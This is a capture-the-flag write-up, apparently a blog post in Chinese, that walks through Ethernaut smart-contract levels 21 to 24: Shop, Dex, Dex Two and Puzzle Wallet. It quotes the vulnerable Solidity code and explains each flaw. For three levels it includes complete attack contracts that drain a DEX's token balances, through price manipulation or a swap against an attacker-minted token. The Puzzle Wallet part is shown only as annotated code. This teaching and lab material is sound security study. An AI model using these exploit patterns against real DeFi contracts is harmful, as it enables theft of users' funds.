ethernaut chall Part.II

ethernaut chall Part.II

henry Lv4

21. Shop

view 状态限制

Сan you get the item from the shop for less than the price asked?

Things that might help:
  • Shop expects to be used from a Buyer
  • Understanding restrictions of view functions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IBuyer {
function price() external view returns (uint256);
}

contract Shop {
uint256 public price = 100;
bool public isSold;

function buy() public {
IBuyer _buyer = IBuyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

这道题和第11道题elevator的区别在于,这里的外部导入函数使用了view关键字使得我们不能通过修改函数自身状态变量来达成目的,相反虽然不能修改自身状态变量,但是可以通过观察目标合约的状态变化来触发不一致行为。

我们需要编写一个攻击合约,实现 price() 函数。在这个函数里,我们去查询 Shop 合约的 isSold 变量。

这道题的核心在于利用 Shop 合约在两次调用 price() 之间改变了自身的状态(isSold 变量)。

漏洞分析

  1. 两次调用:Shop.buy() 函数调用了两次 _buyer.price()
    • 第一次:if (_buyer.price() >= price && !isSold) —— 用于检查条件。
    • 第二次:price = _buyer.price(); —— 用于更新价格。
  2. 状态变化:在两次调用之间,执行了 isSold = true;
  3. View 函数的限制与突破:
    • 虽然你price() 函数是 view 类型,不能修改自己的状态变量来记录调用次数。
    • 但是,view 函数可以读取其他合约的状态。
    • 我们可以读取 Shop 合约的 isSold 变量来判断这是第几次调用。

解决方案

我们需要编写一个攻击合约,实现 price() 函数:

  • Shop.isSold()false 时(第一次调用),返回 100(满足 >= price)。
  • Shop.isSold()true 时(第二次调用),返回 0(或者任何比 100 小的值)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


interface IShop {
function buy() external;
function isSold() external view returns (bool);
}

contract ShopAttack {
IShop public victim;

constructor(address target) {
victim = IShop(target);
}

function attack() public {
victim.buy();
}

// 可以利用目标合约修改了自身状态,这一条件来触发我们执行price的行为
function price() public view returns (uint256){
// 检查 Shop 合约的 isSold 状态
// 第一次调用时,isSold 为 false,我们返回 100 通过检查
// 第二次调用时,isSold 为 true,我们返回 0 修改价格
if(!victim.isSold()) {
return 100;
}
else {
return 0;
}
}
}

最终截图

nipaste_2025-12-19_16-22-4

22. Dex

ERC20 代币标准

ERC20 是以太坊区块链上最著名、最通用的代币标准

简单来说,它是一套接口规范(Interface)。任何智能合约,只要实现了这套规范里定义的函数和事件,就可以被称为“ERC20 代币”。

可以从以下几个维度来看:

1. 核心概念:同质化代币 (Fungible Token)

ERC20 定义的是同质化代币。

  • 意思:你手里的一枚代币,和我手里的一枚代币,在价值和属性上是完全一样的,没有任何区别。
  • 类比:就像现实生活中的百元大钞。我的一张 100 元和你的一张 100 元是可以互换的,没人会在意具体是哪一张。
  • 对比:ERC721 (NFT) 是非同质化的,每一张都不一样(比如数字艺术品)。

2. 为什么要搞个标准?

在 ERC20 出现之前,每个人发币写的代码都不一样:

  • 项目 A 的转账函数叫 sendCoin()
  • 项目 B 的转账函数叫 transferToken()
  • 项目 C 的转账函数叫 giveMoney()

这就导致钱包(如 MetaMask)和交易所(如 Binance)非常痛苦。如果要支持这些币,它们必须为每一个币单独写代码来适配。

有了 ERC20 标准后,钱包和交易所只需要写一套代码,就能支持世界上成千上万种 ERC20 代币(USDT, UNI, SHIB 等)。只要你的合约符合标准,MetaMask 就能自动显示余额并进行转账。

3. ERC20 包含什么?(技术细节)

一个标准的 ERC20 合约必须包含以下 6 个核心函数和 2 个事件:

读数据(View Functions)

  1. totalSupply(): 这个币总共有多少个?
  2. balanceOf(address account): 某个人(account)手里有多少个币?
  3. allowance(address owner, address spender): owner 授权给 spender 还能动用多少币?(配合 approve 使用)

写数据(State-Changing Functions)

  1. transfer(address recipient, uint256 amount): 直接转账。我把币转给你。
  2. approve(address spender, uint256 amount): 授权。我允许你(比如 Uniswap 合约)动用我多少币。
  3. transferFrom(address sender, address recipient, uint256 amount): 提款/代转。通常由被授权的第三方调用,“我把 A 的币转给 B”(前提是 A 已经 approve 过了)。

事件(Events)

  • Transfer: 转账时触发。
  • Approval: 授权时触发。

4. 还有一个重要概念:Decimals(精度)

区块链不支持小数(浮点数)。所以 ERC20 代币通常使用18 位小数(和以太坊 ETH 一样)。

  • 如果你看到余额是 1000000000000000000,实际上它代表的是 1.0 个代币。
  • 在写代码或做 CTF 题时,一定要注意单位换算。

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.

You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.

You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.

Quick note

Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we’ve just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.

Things that might help:

  • How is the price of the token calculated?
  • How does the swap method work?
  • How do you approve a transaction of an ERC20?
  • Theres more than one way to interact with a contract!
  • Remix might help
  • What does “At Address” do?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
address public token1;
address public token2;

constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

这份代码包含两个合约:Dex(去中心化交易所)和 SwappableToken(一种定制的代币)。

这是一个简化版的 DeFi 模型,为了方便 CTF 挑战,它做了一些特殊的修改(比如特殊的 approve 逻辑)。

1. Dex 合约 (交易所主体)

这是核心合约,负责管理资金池和执行交易。

状态变量与初始化

1
2
3
4
5
6
7
8
9
10
11
contract Dex is Ownable {
address public token1; // 交易对中的第一个代币地址
address public token2; // 交易对中的第二个代币地址

constructor() {}

// 管理员设置这两种代币的地址
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
  • 作用:定义了这个交易所支持哪两种代币互换(比如 Token A 和 Token B)。

添加流动性

1
2
3
4
// 管理员往池子里充钱
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
  • 作用:让合约拥有初始资金。transferFrom 把代币从管理员账户转到 Dex 合约账户。

核心交易逻辑 swap (重点)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function swap(address from, address to, uint256 amount) public {
// 1. 检查:只能在 token1 和 token2 之间互换
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

// 2. 检查:用户余额是否足够
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");

// 3. 计算:根据当前汇率,算出用户能换到多少目标代币
uint256 swapAmount = getSwapPrice(from, to, amount);

// 4. 收款:把用户的代币转进 Dex
// 前提:用户必须先 approve Dex 合约
IERC20(from).transferFrom(msg.sender, address(this), amount);

// 5. 自身授权:Dex 批准自己花费目标代币
// 这是一个怪异的写法。通常直接用 transfer 就行,这里用 transferFrom 需要自己授权给自己。
IERC20(to).approve(address(this), swapAmount);

// 6. 发货:把目标代币从 Dex 转给用户
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
  • 流程:用户支付 amount 数量的 from 代币,获得 swapAmount 数量的 to 代币。

价格计算 getSwapPrice (漏洞所在)

1
2
3
4
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) 
{
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
  • 公式换出数量 = 换入数量 * (池子里的目标代币余额 / 池子里的输入代币余额)
  • 问题:这是一个完全线性的公式,没有滑点保护。它意味着当前池子的余额比例直接决定了价格。如果池子比例失衡(比如 100:1),价格就会极其便宜或昂贵。

辅助函数 approve

1
2
3
4
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
  • 作用:这是一个为了方便玩家设计的“快捷键”。
  • 背景:正常 ERC20 需要你在代币合约上调用 approve。这里你只需要调用 Dex.approve,它就会帮你去调用两个代币合约的特殊 approve 函数,帮你完成授权。

2. SwappableToken 合约 (代币)

这是一个标准的 ERC20 代币,但加了一个特殊的“后门”函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract SwappableToken is ERC20 {
address private _dex; // 记录 Dex 合约的地址

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply); // 发币给创建者
_dex = dexInstance;
}

// 特殊的 approve 函数
function approve(address owner, address spender, uint256 amount) public {
// 只有非 Dex 地址作为 owner 时才允许调用(防止 Dex 的钱被随意授权转走)
require(owner != _dex, "InvalidApprover");

// 调用内部 _approve 函数
// 注意:这个函数是 public 的,且接受 owner 参数!
// 这意味着任何人都可以调用这个函数,来修改别人的授权额度。
// 这在现实中是巨大的安全漏洞,但在这里是为了配合 Dex.approve 使用。
super._approve(owner, spender, amount);
}
}

总结

  1. Dex 是一个简单的交易所,允许 Token1 和 Token2 互换。
  2. 漏洞 在于 getSwapPrice 使用了简单的余额比例来定价。
  3. 攻击思路 是利用这个定价机制,通过反复的大额交易(Swap),剧烈改变池子里的余额比例,

攻击思路

真正的去中心化交易所(如 Uniswap)使用的是 **恒定乘积公式 (x×y=k)**。在恒定乘积公式下,你买得越多,单价就越贵(滑点),这会保护池子不被掏空。

而这个题目用的公式是 线性比例。这意味着:

  1. 它假设当前池子里的比例就是绝对公允价格。
  2. 它没有滑点保护
  3. 最重要的是:价格完全依赖于当前的余额比例。

如果池子里有 100 个 TokenA 和 100 个 TokenB,价格是 1:1。
如果池子里有 100 个 TokenA 和 10 个 TokenB,价格就变成了 1:10!TokenB 变得极其昂贵,TokenA 变得极其廉价。

要利用这个价格公式,通过来回倒手,让池子的比例失衡,从而让我们的币越换越多。

初始状态:

  • Dex: 100 T1, 100 T2
  • : 10 T1, 10 T2

第一回合:用 T1 换 T2

你投入所有 10 个 T1。

  • 汇率: Dex 有 100 T1, 100 T2。比例 1:1。
  • 计算: 10×100 / 100=10。
  • 结果: 你获得 10 个 T2。
  • 当前状态:
    • Dex: 110 T1, 90 T2
    • 你: 0 T1, 20 T2

第二回合:用 T2 换 T1

你投入所有 20 个 T2。

  • 汇率: Dex 有 90 T2, 110 T1。比例变成了 110/90≈1.22110/90≈1.22 。
    • 注意:现在 T2 变少了,所以 T2 变贵了!
  • 计算: 20×110 / 90=24.44 (Solidity 取整为 24)。
  • 结果: 你获得 24 个 T1。
  • 当前状态:
    • Dex: 86 T1, 110 T2
    • 你: 24 T1, 0 T2
  • 分析: 你看,你只是来回换了一次,总资产从 20 变成了 24。

用表格表示如下:

nipaste_2025-12-19_18-25-5

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDex {
function token1() external view returns (address);
function token2() external view returns (address);
function swap(address from, address to, uint256 amount) external;
function approve(address spender, uint256 amount) external;
function balanceOf(address token, address account) external view returns (uint256);
}

interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract DexAttack {
IDex public dex;
IERC20 public t1;
IERC20 public t2;

constructor(address _dex) {
dex = IDex(_dex);
t1 = IERC20(dex.token1());
t2 = IERC20(dex.token2());
}

function attack() external {
// 1. 授权 Dex 合约可以花费我们的代币
dex.approve(address(dex), type(uint256).max);

// 2. 开始循环交换,利用价格计算的缺陷
// 初始状态: Player: 10 T1, 10 T2 | Dex: 100 T1, 100 T2

// Swap 1: 10 T1 -> T2
dex.swap(address(t1), address(t2), t1.balanceOf(address(this)));

// Swap 2: 20 T2 -> T1
dex.swap(address(t2), address(t1), t2.balanceOf(address(this)));

// Swap 3: 24 T1 -> T2
dex.swap(address(t1), address(t2), t1.balanceOf(address(this)));

// Swap 4: 30 T2 -> T1
dex.swap(address(t2), address(t1), t2.balanceOf(address(this)));

// Swap 5: 41 T1 -> T2
dex.swap(address(t1), address(t2), t1.balanceOf(address(this)));

// Swap 6: Swap enough T2 to drain all T1
// 此时 Dex 状态: T1: 110, T2: 45
// 我们持有: T1: 0, T2: 65
// 价格公式: out = in * dexT1 / dexT2
// 我们想要 out = 110 (全部 T1)
// 110 = in * 110 / 45 => in = 45
dex.swap(address(t2), address(t1), 45);

// 攻击结束,Dex 的 T1 余额应为 0
}
}

完成部署后,由于我们是通过合约来操作代币的,所以需要先在控制台将代币转发给合约

请使用 web3 的方式来转账。直接复制下面的代码到控制台执行:

1. 准备数据

1
2
3
4
5
6
7
8
9
10
11
12
13
const attackAddress = "0x986Ce03dB7B9Dd64B40103BeEeE7F3E526e70D52";
const t1 = await contract.token1();
const t2 = await contract.token2();

// 构造 transfer(address,uint256) 的数据
// transfer 的函数选择器是 0xa9059cbb
// 目标地址: attackAddress
// 数量: 10
const transferData = web3.eth.abi.encodeFunctionCall({
name: 'transfer',
type: 'function',
inputs: [{type: 'address', name: 'to'}, {type: 'uint256', name: 'amount'}]
}, [attackAddress, 10]);

2. 转账 Token 1

1
2
3
4
5
await web3.eth.sendTransaction({
from: player,
to: t1,
data: transferData
});

3. 转账 Token 2

1
2
3
4
5
await web3.eth.sendTransaction({
from: player,
to: t2,
data: transferData
});

4. 检查余额(确保转账成功)

1
2
3
4
5
// 检查 Token 1
await contract.balanceOf(t1, attackAddress).then(b => b.toString())

// 检查 Token 2
await contract.balanceOf(t2, attackAddress).then(b => b.toString())

nipaste_2025-12-19_19-19-2

此时转发代币成功,回到之前部署好的合约,点击attack进行测试,最终结果如下:

nipaste_2025-12-19_19-57-2

23. Dex Two

mint 铸造假币交换

This level will ask you to break DexTwo, a subtly modified Dex contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

Things that might help:

  • How has the swap method been modified?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
address public token1;
address public token2;

constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

启动实例,查看余额:

1
2
3
4
>>await contract.balanceOf(t1, contract.address).then(b => b.toString())
'100'
>>await contract.balanceOf(t2, contract.address).then(b => b.toString())
'100'

这道题和上一道题不一样,虽然看起来很像。

关键区别

仔细对比 swap 函数:

Dex (上一题):

1
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

上一题强制要求你只能在 token1token2 之间互换。

DexTwo (这一题):

1
2
// 这一行检查不见了!
// require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

这一题没有检查 fromto 是否是合法的代币对。

漏洞分析

因为缺少了代币合法性检查,可以自己发行一种恶意代币(Malicious Token),然后用它去和 Dex 里的 token1token2 进行交换。

由于价格计算公式依然是:

只要控制了 DexBalance(From)(即 Dex 持有的恶意代币数量),你就可以随意操纵汇率。

攻击策略

我们需要掏空 Dex 里的 100 个 T1 和 100 个 T2。

  1. 准备工作
    • 部署一个攻击合约,该合约自己发行一种代币(MAL)。
    • 给 Dex 转入 100 个 MAL。
    • 此时 Dex 拥有:100 T1, 100 T2, 100 MAL。
  2. 掏空 Token 1
    • 调用 swap(MAL, T1, 100)
    • Dex 计算价格:100 (In)×100 (DexT1)100 (DexMAL)=100100 (In)×100 (DexMAL)100 (DexT1)=100。
    • 你用 100 MAL 换走了 100 T1。
    • Dex 状态变更为:0 T1, 100 T2, 200 MAL
  3. 掏空 Token 2
    • 现在 Dex 有 200 MAL 和 100 T2。
    • 你想换走 100 T2。
    • 公式逆推:100 (Out)=In×100 (DexT2)200 (DexMAL)100 (Out)=In×200 (DexMAL)100 (DexT2)。
    • 解得 In=200In=200。
    • 调用 swap(MAL, T2, 200)
    • 你用 200 MAL 换走了 100 T2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface IDexTwo {
function token1() external view returns (address);
function token2() external view returns (address);
function swap(address from, address to, uint256 amount) external;
function balanceOf(address token, address account) external view returns (uint256);
}

// interface IERC20 {
// function balanceOf(address account) external view returns (uint256);
// function transfer(address to, uint256 amount) external returns (bool);
// function transferFrom(address from, address to, uint256 amount) external returns (bool);
// }


// 我们自己发行的恶意代币
contract MaliciousToken is ERC20 {
constructor() ERC20("Malicious", "MAL") {
// 给创建者(攻击合约)铸造大量代币
_mint(msg.sender, 10000);
}
}

contract DexTwoAttack {
IDexTwo public dex;
MaliciousToken public myToken;

constructor(address _dex) {
dex = IDexTwo(_dex);
// 部署恶意代币,此时攻击合约拥有所有代币
myToken = new MaliciousToken();
}

function attack() external {
address t1 = dex.token1();
address t2 = dex.token2();

// 1. 给 Dex 转入 100 个恶意代币
// 此时 Dex 状态: 100 T1, 100 T2, 100 MAL
// 这里的比例建立了: 100 MAL = 100 T1 (1:1)
myToken.transfer(address(dex), 100);

// 2. 授权 Dex 可以花我们的恶意代币
myToken.approve(address(dex), type(uint256).max);

// 3. 用 100 个 MAL 换走所有的 100 T1
// 计算: swapAmount = (100 * 100) / 100 = 100
dex.swap(address(myToken), t1, 100);

// 此时 Dex 状态: 0 T1, 100 T2, 200 MAL
// 注意:Dex 里的 MAL 变成了 200 (初始100 + 刚才换进去的100)

// 4. 用 200 个 MAL 换走所有的 100 T2
// 现在的比例是: 200 MAL = 100 T2 (2:1)
// 计算: swapAmount = (200 * 100) / 200 = 100
dex.swap(address(myToken), t2, 200);

// 攻击结束,Dex 的 T1 和 T2 都被掏空
}
}

nipaste_2025-12-19_20-53-0

24. Puzzle Wallet

Storage Collision(存储冲突) & Delegatecall 上下文漏洞

Nowadays, paying for DeFi operations is impossible, fact.

A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.

They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.

Little did they know, their lunch money was at risk…

You’ll need to hijack this wallet to become the admin of the proxy.

Things that might help:

  • Understanding how delegatecall works and how msg.sender and msg.value behaves when performing one.
  • Knowing about proxy patterns and the way they handle storage variables.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}

modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

这份代码包含两个合约:PuzzleProxyPuzzleWallet

1. PuzzleProxy 合约

这是一个可升级代理合约。它的作用是作为用户交互的入口,存储关键数据,并把具体的业务逻辑转发给 PuzzleWallet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
contract PuzzleProxy is UpgradeableProxy {
// 状态变量
address public pendingAdmin; // 存储在 Slot 0
address public admin; // 存储在 Slot 1

// 构造函数
// _admin: 初始管理员地址
// _implementation: 逻辑合约(PuzzleWallet)的地址
// _initData: 初始化逻辑合约所需的数据(通常是调用 init 函数的编码数据)
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData) // 调用父类构造函数,设置逻辑合约并初始化
{
admin = _admin; // 设置管理员
}

// 修饰符:仅限管理员调用
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}

// 提议新管理员
// 这是一个 external 函数,意味着任何人都可以调用!
// 作用:将 pendingAdmin 变量修改为 _newAdmin
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

// 批准新管理员
// 仅限当前管理员调用
// 作用:如果 pendingAdmin 和期望的一致,则正式将 admin 修改为 pendingAdmin
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

// 升级合约
// 仅限管理员调用
// 作用:将逻辑合约地址指向一个新的合约地址 (_newImplementation)
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

PuzzleProxy 核心逻辑总结:

  • 它管理着 admin 权限。
  • 它允许任何人提议新管理员 (proposeNewAdmin),但只有现任管理员能批准。
  • 它继承了 UpgradeableProxy,虽然代码没显示,但父类里有一个 fallback 函数,负责把所有未匹配的函数调用(比如 deposit)转发给逻辑合约。

2. PuzzleWallet 合约

这是逻辑合约,包含了钱包的具体业务功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
contract PuzzleWallet {
// 状态变量
// 注意:这里的变量布局必须和 Proxy 兼容,否则会发生冲突。
// 但这里发生了严重的冲突!
address public owner; // Slot 0 (对应 Proxy 的 pendingAdmin)
uint256 public maxBalance; // Slot 1 (对应 Proxy 的 admin)
mapping(address => bool) public whitelisted; // Slot 2
mapping(address => uint256) public balances; // Slot 3

// 初始化函数
// 类似于构造函数,但在代理模式下,构造函数无法修改 Proxy 的存储,所以用 init 代替。
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized"); // 防止重复初始化
maxBalance = _maxBalance;
owner = msg.sender; // 设置调用者为 owner
}

// 修饰符:仅限白名单用户
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

// 设置最大余额
// 仅限白名单用户调用
// 条件:合约当前余额必须为 0
// 作用:修改 maxBalance 变量
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

// 添加白名单
// 仅限 owner 调用
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

// 存款
// 仅限白名单用户
// 条件:存款后总余额不能超过 maxBalance
// 作用:增加用户的 balances 记录
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

// 执行交易(提款)
// 仅限白名单用户
// 作用:从合约中转出 ETH 到目标地址 to
// 逻辑:先扣除用户的 balances 记账,再进行实际转账
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance"); // 检查余额
balances[msg.sender] -= value; // 扣款
(bool success,) = to.call{value: value}(data); // 转账
require(success, "Execution failed");
}

// 批量调用
// 仅限白名单用户
// 作用:允许用户在一个交易中执行多个操作(例如多次 deposit)
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false; // 标志位,防止单次 multicall 中多次 deposit

for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
// 使用内联汇编提取函数选择器(前4个字节)
assembly {
selector := mload(add(_data, 32))
}

// 检查:如果是 deposit 函数
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// 标记 deposit 已被调用
// 意图是防止重放攻击(用同一笔 msg.value 存多次)
depositCalled = true;
}

// 核心:使用 delegatecall 执行传入的数据
// delegatecall 会在当前合约上下文执行代码,保留 msg.sender 和 msg.value
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

PuzzleWallet 核心逻辑总结:

  • 它是一个钱包,允许用户存钱 (deposit) 和取钱/执行操作 (execute)。
